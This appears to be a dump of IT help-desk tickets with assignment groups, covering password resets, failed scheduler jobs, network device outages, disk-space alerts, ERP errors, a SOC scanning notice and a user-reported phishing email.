job Job\_1390 failed in job\_scheduler at: 08/22/2016 02:39:00, is assigned to Assignment group: GRP\_9.Ticket with Short description: data backup profile update, Description: help to update the profile and data backup from old pc to new pc, is assigned to Assignment group: GRP\_19.Ticket with Short description: bildschirm im rÃ¼ckmeldeterminal 6 (gegenÃ¼ber kln-reinigungsanlage) defekt., Description: bildschirm im rÃ¼ckmeldeterminal 6 (gegenÃ¼ber kln-reinigungsanlage) defekt., is assigned to Assignment group: GRP\_33.Ticket with Short description: customer master, Description: \_x000D\_
\_x000D\_
received from: rgtarthi.erjgypa@company.com\_x000D\_
\_x000D\_
hello help,\_x000D\_
\_x000D\_
-customer-master india -customer-master.india@company.com<mailto:-customer-master.india@company.com> â€“ is not getting updated with lauacyltoe hxgaycze mail since morning.\_x000D\_
\_x000D\_
[cid:image001.png@01d1fc64.17e6b5e0]\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: job HostName\_1019fail failed in job\_scheduler at: 08/22/2016 02:13:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job HostName\_1019fail failed in job\_scheduler at: 08/22/2016 02:13:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: carcau michthey my password expires in 1 day, Description: \_x000D\_
\_x000D\_
received from: vlcexqpg.vjrtqobx@gmail.com\_x000D\_
\_x000D\_
hello ,\_x000D\_
\_x000D\_
when i use the login \_x000D\_
would you be so kind to help me ?\_x000D\_
\_x000D\_
\_x000D\_
best , is assigned to Assignment group: GRP\_0.Ticket with Short description: tablet - dell 7350 - windowsç³»ç»Ÿå¯åŠ¨åŽé»‘å±ã€‚, Description: please provide details of the issue.\_x000D\_
windowsç³»ç»Ÿå¯åŠ¨åŽé»‘å±ã€‚, is assigned to Assignment group: GRP\_31.Ticket with Short description: please add office printer in my new laptop, Description: \_x000D\_
\_x000D\_
received from: qrnusygw.amiebrlf@gmail.com\_x000D\_
\_x000D\_
dear sir,\_x000D\_
\_x000D\_
please add the office printer (which is connected with company vpn) in my new laptop.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_19.Ticket with Short description: vvthuenka, Description:
received from: aksthyuhath.shettythruy@company.com
hi,
mr. ofuhdesi rhbsawmf is not able to login ess portal. please reset the password and share it with his manager.
emp no
name
useid
manager
20245767
ofuhdesi rhbsawmf
vvthuenka
ebkfwhgt flapokym
with , is assigned to Assignment group: GRP\_0.Ticket with Short description: hr\_tool java doesn't work, Description: hr\_tool java doesn't work, is assigned to Assignment group: GRP\_31.Ticket with Short description: wegen file-server austausch kein zugriff auf datenbank mÃ¶glich!! , Description: wegen file-server austausch kein zugriff auf datenbank mÃ¶glich!! eemw8144361; eemw8144255; eemw8144362 bitte hr. sudghnthdra mit kontaktieren. eilig!!!!, is assigned to Assignment group: GRP\_12.Ticket with Short description: kein zugriff von abteilung ce abstech eemw8144218 auf datenbanken: betap\_profil, betapdachform, betapfasen, Description: kein zugriff von abteilung ce abstech eemw8144218 auf datenbanken: betap\_profil, betapdachform, betapfasen. kontakt: sudghnthdra, is assigned to Assignment group: GRP\_12.Ticket with Short description: password changes, Description: \_x000D\_
\_x000D\_
received from: brhlcpqv.sfozwkyx@gmail.com\_x000D\_
\_x000D\_
hello,\_x000D\_
could you please help me on unlocking the erp? it is blocked for entering wrong password.\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
best , is assigned to Assignment group: GRP\_0.Ticket with Short description: job Job\_1148 failed in job\_scheduler at: 08/22/2016 01:15:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_1148 failed in job\_scheduler at: 08/22/2016 01:15:00, is assigned to Assignment group: GRP\_57.Ticket with Short description: am not able to open any dash bankrd and hr\_tool site through link web link, Description: am not able to open any dash bankrd and hr\_tool site through link web link can you kindly check , is assigned to Assignment group: GRP\_0.Ticket with Short description: windows account locked , Description: windows account locked , is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to open permission protected mails, Description: unable to open permission protected mails, is assigned to Assignment group: GRP\_19.Ticket with Short description: kpm time sheet is not submitting. please resolve this issue as soon as possible., Description: employee id-210667827, is assigned to Assignment group: GRP\_0.Ticket with Short description: erp miro cannot pose the two pos with error message like the attachment, Description: as the two attachment shown, when i pose this two po items, erp give the error message says the profit center is different. so i can't pose ir in miro now. please help settle them. , is assigned to Assignment group: GRP\_10.Ticket with Short description: can not do z\_chk for t/o# 606627 with dn 8057978066, Description: \_x000D\_
\_x000D\_
received from: gjtyswkb.dpvaymxr@gmail.com\_x000D\_
\_x000D\_
dear it,\_x000D\_
\_x000D\_
we use z\_chk want to confirm mm 4152195,but erp shows below error, pls help to check & fix, , is assigned to Assignment group: GRP\_18.Ticket with Short description: password, Description: \_x000D\_
\_x000D\_
received from: rgtarthi.erjgypa@company.com\_x000D\_
\_x000D\_
hi help,\_x000D\_
\_x000D\_
i have changed the password today, except for the below.\_x000D\_
please help me change for SID\_39 too.\_x000D\_
\_x000D\_
[cid:image001.png@01d1fc51.825a46c0]help\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_2.Ticket with Short description: need to be able to create pr under xzn004 and xzs012., Description: i used to be able to create pr for cost center xzn004 and xzs012, but now it does not worl. could you pls help to find out why? it shows "purchaising accross comapny is not allowed.", is assigned to Assignment group: GRP\_29.Ticket with Short description: engineering tool not working., Description: my engineering tool shows a error message as "dataservices::taskmgr.getassignments() transaction (process id 413) was deadlocked on lock | communication buffer resources with another process and has been chosen as the deadlock victim. rerun the transaction".\_x000D\_
\_x000D\_
please help., is assigned to Assignment group: GRP\_0.Ticket with Short description: windows password expired , Description: windows password expired , is assigned to Assignment group: GRP\_0.Ticket with Short description: windows account locked, Description: windows account locked, is assigned to Assignment group: GRP\_0.Ticket with Short description: job Job\_3028 failed in job\_scheduler at: 08/21/2016 22:24:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_3028 failed in job\_scheduler at: 08/21/2016 22:24:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: apps, Description: \_x000D\_
\_x000D\_
received from: anpocezt.qturbxsg@gmail.com\_x000D\_
\_x000D\_
hello what apps should we be using on out phone. (iphone 6)\_x000D\_
skype or business skype. collaboration\_platform or business collaboration\_platform and should back our phone on icloud, collaboration\_platform or our computer.\_x000D\_
\_x000D\_
best , is assigned to Assignment group: GRP\_0.Ticket with Short description: job Job\_3028 failed in job\_scheduler at: 08/21/2016 22:02:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_3028 failed in job\_scheduler at: 08/21/2016 22:02:00, is assigned to Assignment group: GRP\_12.Ticket with Short description: tablet - dell 7350 - windows 8.1 ç³»ç»Ÿè¢«è¿˜åŽŸ. è´¦å·ä¸èƒ½ç™»å½•ç³»ç»Ÿã€‚, Description: please provide details of the issue.\_x000D\_
windows 8.1 ç³»ç»Ÿè¢«è¿˜åŽŸ. è´¦å·æ— æ³•ç™»å½•ç³»ç»Ÿã€‚, is assigned to Assignment group: GRP\_31.Ticket with Short description: ess login issue., Description: ess login issue\_x000D\_
-verified user details.(employee# & manager name)\_x000D\_
-checked the user name in ad and reset the password..\_x000D\_
-advised the user to login and check.\_x000D\_
-caller confirmed that he was able to login.\_x000D\_
-issue resolved., is assigned to Assignment group: GRP\_0.Ticket with Short description: login issue, Description: login issue\_x000D\_
-verified user details.(employee# & manager name)\_x000D\_
-checked the user name in ad and reset the password.\_x000D\_
-advised the user to login and check.\_x000D\_
-caller confirmed that he was able to login.\_x000D\_
-issue resolved., is assigned to Assignment group: GRP\_0.Ticket with Short description: job Job\_594 failed in job\_scheduler at: 08/21/2016 17:13:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_594 failed in job\_scheduler at: 08/21/2016 17:13:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: job Job\_1306 failed in job\_scheduler at: 08/21/2016 15:40:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_1306 failed in job\_scheduler at: 08/21/2016 15:40:00, is assigned to Assignment group: GRP\_9.Ticket with Short description: usa:dnb-vpn-rtr(10.38.1.11) is down since 8:39 pm on 08/20 et, Description: usa: dnb-vpn-rtr(10.38.1.11) is down since 8:39 pm on 08/20 et.router went down during the sup engine replacement activity as per chg1144844.\_x000D\_
, is assigned to Assignment group: GRP\_4.Ticket with Short description: gigabitethernet1/0/14 on company-eu-deu-ds-germany-edksw002-2960-stack-sw002.company.com connected to ap company\_de\_germany\_aSID\_78, Description: gigabitethernet1/0/14 on company-eu-deu-ds-germany-edksw002-2960-stack-sw002.company.com connected to ap company\_de\_germany\_aSID\_78 is flapping.\_x000D\_
attached monitoring\_engineering\_tool., is assigned to Assignment group: GRP\_4.Ticket with Short description: HostName\_979(plm wwi uacyltoe hxgaycze):wwisvc.exe: wrong number of instances of process wwisvc.exe, expected instances gte 2 but found 0, Description: HostName\_979(plm wwi uacyltoe hxgaycze):wwisvc.exe: wrong number of instances of process wwisvc.exe, expected instances gte 2 but found 0, is assigned to Assignment group: GRP\_14.Ticket with Short description: job snp\_heu\_5\_regen failed in job\_scheduler at: 08/21/2016 13:45:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job snp\_heu\_5\_regen failed in job\_scheduler at: 08/21/2016 13:45:00, is assigned to Assignment group: GRP\_6.Ticket with Short description: job bwhrattr failed in job\_scheduler at: 08/21/2016 09:45:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job bwhrattr failed in job\_scheduler at: 08/21/2016 09:45:00, is assigned to Assignment group: GRP\_9.Ticket with Short description: job Job\_1314 failed in job\_scheduler at: 08/21/2016 09:20:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_1314 failed in job\_scheduler at: 08/21/2016 09:20:00, is assigned to Assignment group: GRP\_9.Ticket with Short description: job Job\_511 failed in job\_scheduler at: 08/21/2016 08:58:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_511 failed in job\_scheduler at: 08/21/2016 08:58:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: job Job\_511 failed in job\_scheduler at: 08/21/2016 08:47:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_511 failed in job\_scheduler at: 08/21/2016 08:47:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: Israel, israel - (company):company-eu-isr--mainswitch-b-3560-access-sw02 is down since at 07:38 am et on 21-08-2016., Description: EMEA, israel - (company):company-eu-isr--mainswitch-b-3560-access-sw02 is down since at 07:38 am et on 21-08-2016., is assigned to Assignment group: GRP\_8.Ticket with Short description: job snp\_heu\_1\_regen failed in job\_scheduler at: 08/21/2016 06:36:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job snp\_heu\_1\_regen failed in job\_scheduler at: 08/21/2016 06:36:00, is assigned to Assignment group: GRP\_6.Ticket with Short description: india india kirty : interface: gigabitethernet2/0/48 on company-ap-ind-kirty-pu3-2960s-stack-sw01 is down., Description: india india kirty : interface: gigabitethernet2/0/48 uplink to core 4503 admin switch on company-ap-ind-kirty-pu3-2960s-stack-sw01 is down, is assigned to Assignment group: GRP\_4.Ticket with Short description: job mm\_zscr0099\_wkly\_rollfgyuej1 failed in job\_scheduler at: 08/21/2016 00:11:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job mm\_zscr0099\_wkly\_rollfgyuej1 failed in job\_scheduler at: 08/21/2016 00:11:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: no connection to t drive in na, Description:
received from: blktuiae.jzakfmhw@gmail.com
dear it
is there any issue with the t drive in na
cannot get any connection
other drives in eu are running well
[cid:image001.png@01d1fb72.104f21c0]
gÃ¼nter webfnhtyer
manager sourcing
blktuiae.jzakfmhw@gmail.com<mailto:blktuiae.jzakfmhw@gmail.com>
company shared services gmbh
geschÃ¤ftsfÃ¼hrer: phvkowml azbtkqwx, naruedlk mpvhakdq, is assigned to Assignment group: GRP\_0.Ticket with Short description: weekly reboot of csqe prod servers , Description: weekly reboot of csqe prod servers \_x000D\_
\_x000D\_
HostName\_1027\_x000D\_
HostName\_1028\_x000D\_
, is assigned to Assignment group: GRP\_8.Ticket with Short description: HostName\_768:chkdsk is still running after the monthy reboot, Description: after the monthly reboot of HostName\_768 chkdsk is running from around 6:40 pm on 08/20 et.\_x000D\_
currently chkdsk is verifying files (stage 1 of 3) with 9 percent complete., is assigned to Assignment group: GRP\_12.Ticket with Short description: company-ap-chn-apac-company-psf-2960s-access-sw01.company.com (50.36.05.137 ) is down since 6:51 pm on 8/20 et, Description: company-ap-chn-apac-company-psf-2960s-access-sw01.company.com (50.36.05.137 ) is down since 6:51 pm on 8/20 et, is assigned to Assignment group: GRP\_8.Ticket with Short description: ess login issue, Description: ess login issue\_x000D\_
-verified user details.(employee# & manager name)\_x000D\_
-checked the user name in ad and reset the password\_x000D\_
-advised the user to login and check.\_x000D\_
-caller confirmed that she was able to login.\_x000D\_
-issue resolved., is assigned to Assignment group: GRP\_0.Ticket with Short description: user unable to login to erp., Description: user unable to login to erp., is assigned to Assignment group: GRP\_0.Ticket with Short description: HostName\_30(sms & sep server-company-india india):volume: g:\ label:wsp e26ca13a on server: HostName\_30 is over 85% space co, Description: observing below alert in monitoring\_tool since 3:52 pm on 08/20 et.monitoring\_engineering\_tool attached.\_x000D\_
volume: g:\ label:wsp e26ca13a on server: HostName\_30 is over 85% space consumed. space available: 4.2 g , is assigned to Assignment group: GRP\_65.Ticket with Short description: germany vrtx HostName\_597 down / urgent, Description: \_x000D\_
\_x000D\_
received from: ecwtrjnq.jpecxuty@gmail.com\_x000D\_
\_x000D\_
dear colleagues,\_x000D\_
\_x000D\_
all virtual servers in germany / germany are down after the move of HostName\_597 / vrtx system.\_x000D\_
\_x000D\_
we are urgently missing the virtual servers HostName\_598 ( fileserver ) and efdsm009 ( printserver )\_x000D\_
\_x000D\_
server team, would you please be so kind and start the virtual servers on HostName\_604 and HostName\_605.\_x000D\_
\_x000D\_
many , is assigned to Assignment group: GRP\_12.Ticket with Short description: mtd revenue detail report, Description:
received from: qwijaspo.ukynmfig@gmail.com
dear it,
here is another report i view often and there have been changes made and they do not reflect my territory. the report his missing several of my distributors and is off by $700,000 or so.
please see the screen shot.
[cid:image001.jpg@01d1fada.cc506390]
qwijaspo ukynmfig
sales manager - west coast
qwijaspo.ukynmfig@gmail.com<mailto:qwijaspo.ukynmfig@gmail.com>
, is assigned to Assignment group: GRP\_9.Ticket with Short description: vmax alert:a symmetrix power subsystem ac line interruption was detected.emc sr # 81364438, Description: observing these alerts since 5:37 am on 08/20 et\_x000D\_
\_x000D\_
severity : warning, category: environment, director : df-6d, numerirtc code: 0x001d, event code: ac\_line\_interrupted, description: a symmetrix power subsystem ac line interruption was detected\_x000D\_
severity : warning, category: environment, director : df-6b, numerirtc code: 0x001d, event code: ac\_line\_interrupted, description: a symmetrix power subsystem ac line interruption was detected\_x000D\_
severity : warning, category: environment, director : df-5c, numerirtc code: 0x001d, event code: ac\_line\_interrupted, description: a symmetrix power subsystem ac line interruption was detected\_x000D\_
severity : warning, category: environment, director : df-5a, numerirtc code: 0x001d, event code: ac\_line\_interrupted, description: a symmetrix power subsystem ac line interruption was detected\_x000D\_
, is assigned to Assignment group: GRP\_8.Ticket with Short description: user mentioned that the internet gets disconnected once she tries to open the ppt.(home location), Description: user mentioned that the internet gets disconnected once she tries to open the ppt.\_x000D\_
-had the user power cycle the pc and the modem .\_x000D\_
-user able to conenct to the inter.\_x000D\_
-connected to the user system using teamviewer.\_x000D\_
-tried to check the network settings, all fine.\_x000D\_
-lost internet connection again.conection stays on for just 5 mins.\_x000D\_
user mentioned that the connection at home is intermittent.\_x000D\_
-conferenced the call with comcas isp.\_x000D\_
-they disconnected the call, were not able to provide support to the user.\_x000D\_
-user mentioned that she will try and connect from a local hotspot.\_x000D\_
-user mentioned she will check the connection again later., is assigned to Assignment group: GRP\_0.Ticket with Short description: job Job\_480 failed in job\_scheduler at: 08/20/2016 13:36:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_480 failed in job\_scheduler at: 08/20/2016 13:36:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: space utilization :: e:\ label:dat1-ebhsm004 dc16126c85% space consumed. available: 4.7 g since 8/20/2016 11:07 am est , Description: volume: e:\ label:dat1-ebhsm004 dc16126c on server: ebhsm004 is over \_x000D\_
85% space consumed. space available: 4.7 g , is assigned to Assignment group: GRP\_65.Ticket with Short description: HostName\_1132:oracle finance\_app financial management - web tier (epmsystem2) - service monitor(down), Description: HostName\_1132:oracle finance\_app financial management - web tier (epmsystem2) - service monitor(down), is assigned to Assignment group: GRP\_12.Ticket with Short description: outlook problems. outlook doesn't start., Description: name:uprmwlgb kirvecja
language:
browser:microsoft internet explorer
email:uprmwlgb.kirvecja@gmail.com
customer number:
telephone:
summary:outlook problems. outlook doesn't start., is assigned to Assignment group: GRP\_0.Ticket with Short description: outlook not opening in laptop, Description: \_x000D\_
\_x000D\_
received from: vrjwyqtf.qoxkapfw@gmail.com\_x000D\_
\_x000D\_
hi,\_x000D\_
\_x000D\_
my outlook is not opening in my laptop. can you look into this urgently abd help???\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: job Job\_1314 failed in job\_scheduler at: 08/20/2016 09:30:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_1314 failed in job\_scheduler at: 08/20/2016 09:30:00, is assigned to Assignment group: GRP\_9.Ticket with Short description: security incidents - (#in33655554) : errata security scanning activity, Description: =========================
incident overview
=========================
we are seeing your att-singapore-asa.company.com-1/54.96.80.216 device generating denied icmp trafficdenied icmp type=3, code=3 alerts alerts for traffic from port [no entry]/icmp of 209.126.230.71 to port [no entry]/icmp of your / device. these alerts are indicative of possible vulnerability scanning activity sourcing from the errata ip address 209.126.230.71.
errata has a page where you can request to be excluded from their scanning:
we are escalating this incident to you via a medium priority ticket and no phone call per our default handling procedures. if you would like us to handle these incidents differently in the future (see below for handling options), or if you have any further questions or concerns, please let us know either by corresponding to us via this ticket and delegating the ticket back to the soc, or by calling us at .
1) full escalation for errata vulnerability scanning activity (explicit notification via a high priority ticket and phone call)
2) automatically resolve errata vulnerability scanning activity to the portal (no explicit notification but events will be available for reporting purposes in the portal)
sincerely,
secureworks soc
=========================
technical details
=========================
vulnerabilities that may exist across your systems and applications can create a path for cyber attackers to gain access to and exploit your environment. these scans are used to identify and quantify specific security vulnerabilities in your environment, based on a database of known flaws. if sourcing from an unauthorized host, knowledge of your vulnerabilities could later be exploited to potentially interfere with service availability, execute code, or usa an attacker with unauthorized access.
=========================
references
=========================
=========================
event data
=========================
related events:
event id: 91097767
event summary: denied icmp trafficdenied icmp type=3, code=3
occurrence count: 4
event count: 1
host and connection information
source ip: 209.126.230.71
source hostname: internetsurvey-2.erratasec.com.
source ip geolocation: atlanta, usa
connection directionality: incoming
protocol: icmp
device information
device ip: 54.96.80.216
device name: att-singapore-asa.company.com-1
log time: 2016-08-20 at 03:49:03 utc
action: blocked
cvss score: -1
scwx event processing information
sherlock rule id (sle): 756571
inspector event id: 870599696
ontology id: 200020003203009212
event type id: 200020003203009112
agent id: 103955
event detail:
aug 20 03:49:03 54.96.80.216 %asa-3-313001: denied icmp type=3, code=3 from 209.126.230.71 on interface outside, is assigned to Assignment group: GRP\_2.Ticket with Short description: job Job\_1392 failed in job\_scheduler at: 08/20/2016 06:27:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_1392 failed in job\_scheduler at: 08/20/2016 06:27:00, is assigned to Assignment group: GRP\_9.Ticket with Short description: job Job\_1995 failed in job\_scheduler at: 08/20/2016 04:02:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_1995 failed in job\_scheduler at: 08/20/2016 04:02:00, is assigned to Assignment group: GRP\_6.Ticket with Short description: job Job\_2042 failed in job\_scheduler at: 08/20/2016 04:02:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_2042 failed in job\_scheduler at: 08/20/2016 04:02:00, is assigned to Assignment group: GRP\_6.Ticket with Short description: lean tracker error - repeated, Description: \_x000D\_
\_x000D\_
received from: rjanhbde.owfkyjcp@gmail.com\_x000D\_
\_x000D\_
hello\_x000D\_
\_x000D\_
pl. refer the below screen shot of error.\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
[cid:image003.jpg@01d1fad1.bfbfc520]\_x000D\_
\_x000D\_
\_x000D\_
warm , is assigned to Assignment group: GRP\_0.Ticket with Short description: owa installation in mobile device, Description: hi, i'm using personal android mobile phone and would like to use owa outlook on it but access denied/rejected. any one can help?, is assigned to Assignment group: GRP\_0.Ticket with Short description: abend batch job : Job\_1315 , Description: abend batch job : Job\_1315 , is assigned to Assignment group: GRP\_9.Ticket with Short description: job bwhrertran failed in job\_scheduler at: 08/20/2016 00:38:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job bwhrertran failed in job\_scheduler at: 08/20/2016 00:38:00, is assigned to Assignment group: GRP\_9.Ticket with Short description: interface: fastethernet0/27 Â· vlan 51: lhqwx402189sf on company-na-usa-usa-switch-cl04-3-2960-access-sw03.company.com is do, Description: interface: fastethernet0/27 Â· vlan 51: lhqwx402189sf on company-na-usa-usa-switch-cl04-3-2960-access-sw03.company.com is down, is assigned to Assignment group: GRP\_4.Ticket with Short description: extended monitor in the cube 3k-20(nvyjtmca xjhpznds) is not working., Description: extended monitor in the cube 3k-20(nvyjtmca xjhpznds) is not working., is assigned to Assignment group: GRP\_19.Ticket with Short description: job Job\_3186 failed in job\_scheduler at: 08/19/2016 20:00:50 edt , Description: job Job\_3186 failed in job\_scheduler at: 08/19/2016 20:00:50 edt , is assigned to Assignment group: GRP\_10.Ticket with Short description: ebhsm004: volume: e:\ label:dat1-ebhsm004 dc16126c on server: ebhsm004 is over 85% space consumed, Description: ebhsm004: volume: e:\ label:dat1-ebhsm004 dc16126c on server: ebhsm004 is over 85% space consumed. space available: 4.6 g, is assigned to Assignment group: GRP\_12.Ticket with Short description: monitoring\_tool alerts & activity page was not working in between 8:15 pm to 8:27 pm et on 08/19 et, Description: monitoring\_tool alerts & activity page was not working in between 8:15 pm to 8:27 pm et on 08/19 et. we logged off and logged in to monitoring\_tool but the issues was still there.it was just showing as "loading" but nothing was displaying.when we click on my dashbankrd home button no issues it was working fine. only the issue observed with alerts & activity page., is assigned to Assignment group: GRP\_60.Ticket with Short description: job Job\_460 failed in job\_scheduler at: 08/19/2016 18:23:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_460 failed in job\_scheduler at: 08/19/2016 18:23:00, is assigned to Assignment group: GRP\_5.Ticket with Short description: unable to login to company engineering\_tool , Description: unable to login to company engineering\_tool , is assigned to Assignment group: GRP\_0.Ticket with Short description: ms crm app on desktop, Description: ms crm app on desktop, is assigned to Assignment group: GRP\_0.Ticket with Short description: erp limited, Description: \_x000D\_
\_x000D\_
received from: liedzaft.lvnbzktj@gmail.com\_x000D\_
\_x000D\_
when i attempt to view sales data on erp the rows will not go beyond 65536. it was limited to that number with some filters still on. when i removed the filters to show more information it was still limited to 65536 rows. is there a fix to this?\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_9.Ticket with Short description: problem with configurator, Description:
received from: vkzwafuh.tcjnuswg@gmail.com
hi,
when i try to open the configurator from company center or engineering\_tool i get this error. please advise.
[cid:image001.jpg@01d1fa31.0491caa0]
vkzwafuh tcjnuswg - cmp
sr. application eng.
vkzwafuh.tcjnuswg@gmail.com
, is assigned to Assignment group: GRP\_12.Ticket with Short description: china(apac): interface: gigabitethernet0/33 Â· mp-118 on company-ap-chn-china-2960g-access-sw05.company.com is down , Description: china(apac): interface: gigabitethernet0/33 Â· mp-118 on company-ap-chn-china-2960g-access-sw05.company.com is down since 02:13pm et on 08/19., is assigned to Assignment group: GRP\_4.Ticket with Short description: collaboration\_platform query , Description: collaboration\_platform query , is assigned to Assignment group: GRP\_0.Ticket with Short description: access to engineering\_tool, Description: access to engineering\_tool, is assigned to Assignment group: GRP\_0.Ticket with Short description: job Job\_1953d was running longer than 30 minutes kirtyled and rerun, Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_1953d failed in job\_scheduler at: 08/19/2016 15:46:00, is assigned to Assignment group: GRP\_6.Ticket with Short description: 47.95.91.3482 - unable to login, Description: unable to login to the switch 47.95.91.3482 - company-eu-deu-germany-vhsw02-2900-access-sw02 as the it is experiencing with the memory issue. , is assigned to Assignment group: GRP\_4.Ticket with Short description: call from external user, Description: call from external user, is assigned to Assignment group: GRP\_0.Ticket with Short description: spam, Description:
received from: qfcxbpht.oiykfzlr@gmail.com
bokrgadu euobrlcn,
i think this is spam â€¦ fyi.
hghtyther
from: drop 'box [mailto:pollauridamary1@live.com]
sent: friday, august 19, 2016 11:34 am
to: qfcxbpht oiykfzlr
subject: you have new pdf document (2) --shared via drop'box
[image removed by sender.]
dear qfcxbpht.oiykfzlr@gmail.com
a dropbox user sent you some new document through dropbox.
view! here<
, is assigned to Assignment group: GRP\_27.Ticket with Short description: it issue, Description: \_x000D\_
\_x000D\_
received from: zwirhcol.narzlmfw@gmail.com\_x000D\_
\_x000D\_
hi we have a computer on the shop floor that will not boot up. the power button has an orange flashing light. the only thing i can tell you about the computer is the user name:cobrgtool\_x000D\_
\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_3.Ticket with Short description: want to check the email if it is spam , Description: want to check the email if it is spam , is assigned to Assignment group: GRP\_0.Ticket with Short description: an intern has moved from the markhtyeting group to company. , Description: name:callie pollaurid
language:
browser:microsoft internet explorer
email:xzupryaf.vlbikhsm@gmail.com
customer number:
telephone:724
summary:quick question: an intern has moved from the markhtyeting group to company. who owns her computer and can she take it with her in her new position?, is assigned to Assignment group: GRP\_0.Ticket with Short description: re: ticket\_no1530897 -- comments added, Description:
received from: afkstcev.utbnkyop@gmail.com
i apologize â€“ when i updated the paramdntyeters earlier i failed to look if the right roles were added to the users â€“ they weren't.
i have now updated the 3 users to mktgen roles:
bc:alluser\_crm
bc:basis\_view
it:tcode\_crm\_ui
z:erp\_crm\_uiu\_analtyicspro\_ui
z:erp\_crm\_uiu\_framdntyework
z:erp\_crm\_uiu\_mkt\_gen
z:erp\_crm\_uiu\_sls\_all
z:erp\_crm\_uiu\_srv\_gen
afkstcev utbnkyop
senior analyst, bokrgadu euobrlcn
afkstcev.utbnkyop@gmail.com<mailto:afkstcev.utbnkyop@gmail.com>
from: kathght shfhyw
sent: friday, august 19, 2016 2:21 pm
to: aoyrspjv hctgfeal <aoyrspjv.hctgfeal@gmail.com>
cc: company@ticketing\_tool.com; eqxyvfpi gbaljypo <eqxyvfpi.gbaljypo@gmail.com>; riqmdnzs mtlghwex <riqmdnzs.mtlghwex@gmail.com>; gergryth mgndhtillen <anxmvsor.fdjoawxq@gmail.com>; kxvwsatr nmywsqrg <kxvwsatr.nmywsqrg@gmail.com>
subject: re: ticket\_no1530897 -- comments added
send updated screenshot please. if you are logging in from out of the office, please be sure that you are logged into vpn, then try accessing.
afkstcev utbnkyop
senior analyst, bokrgadu euobrlcn
afkstcev.utbnkyop@gmail.com<mailto:afkstcev.utbnkyop@gmail.com>
from: aoyrspjv hctgfeal
sent: friday, august 19, 2016 2:18 pm
to: kathght shfhyw <afkstcev.utbnkyop@gmail.com<mailto:afkstcev.utbnkyop@gmail.com>>
cc: company@ticketing\_tool.com<mailto:company@ticketing\_tool.com>; eqxyvfpi gbaljypo <eqxyvfpi.gbaljypo@gmail.com<mailto:eqxyvfpi.gbaljypo@gmail.com>>; riqmdnzs mtlghwex <riqmdnzs.mtlghwex@gmail.com<mailto:riqmdnzs.mtlghwex@gmail.com>>; gergryth mgndhtillen <anxmvsor.fdjoawxq@gmail.com<mailto:anxmvsor.fdjoawxq@gmail.com>>; aoyrspjv hctgfeal <aoyrspjv.hctgfeal@gmail.com<mailto:aoyrspjv.hctgfeal@gmail.com>>; kxvwsatr nmywsqrg <kxvwsatr.nmywsqrg@gmail.com<mailto:kxvwsatr.nmywsqrg@gmail.com>>
subject: fw: ticket\_no1530897 -- comments added
hi khrtyujuine,
would you please help with this problem?
, is assigned to Assignment group: GRP\_0.Ticket with Short description: re: ticket\_no1530897 -- comments added, Description:
received from: afkstcev.utbnkyop@gmail.com
send updated screenshot please. if you are logging in from out of the office, please be sure that you are logged into vpn, then try accessing.
afkstcev utbnkyop
senior analyst, bokrgadu euobrlcn
afkstcev.utbnkyop@gmail.com<mailto:afkstcev.utbnkyop@gmail.com>
from: aoyrspjv hctgfeal
sent: friday, august 19, 2016 2:18 pm
to: kathght shfhyw <afkstcev.utbnkyop@gmail.com>
cc: company@ticketing\_tool.com; eqxyvfpi gbaljypo <eqxyvfpi.gbaljypo@gmail.com>; riqmdnzs mtlghwex <riqmdnzs.mtlghwex@gmail.com>; gergryth mgndhtillen <anxmvsor.fdjoawxq@gmail.com>; aoyrspjv hctgfeal <aoyrspjv.hctgfeal@gmail.com>; kxvwsatr nmywsqrg <kxvwsatr.nmywsqrg@gmail.com>
subject: fw: ticket\_no1530897 -- comments added
hi khrtyujuine,
would you please help with this problem?
, is assigned to Assignment group: GRP\_0.Ticket with Short description: ticket update on this ticket\_no0428491, Description: ticket update on this ticket\_no0428491, is assigned to Assignment group: GRP\_0.Ticket with Short description: request for access to crm system , Description: \_x000D\_
\_x000D\_
received from: ntuhoafg.bzwefjvk@gmail.com\_x000D\_
\_x000D\_
it team,\_x000D\_
\_x000D\_
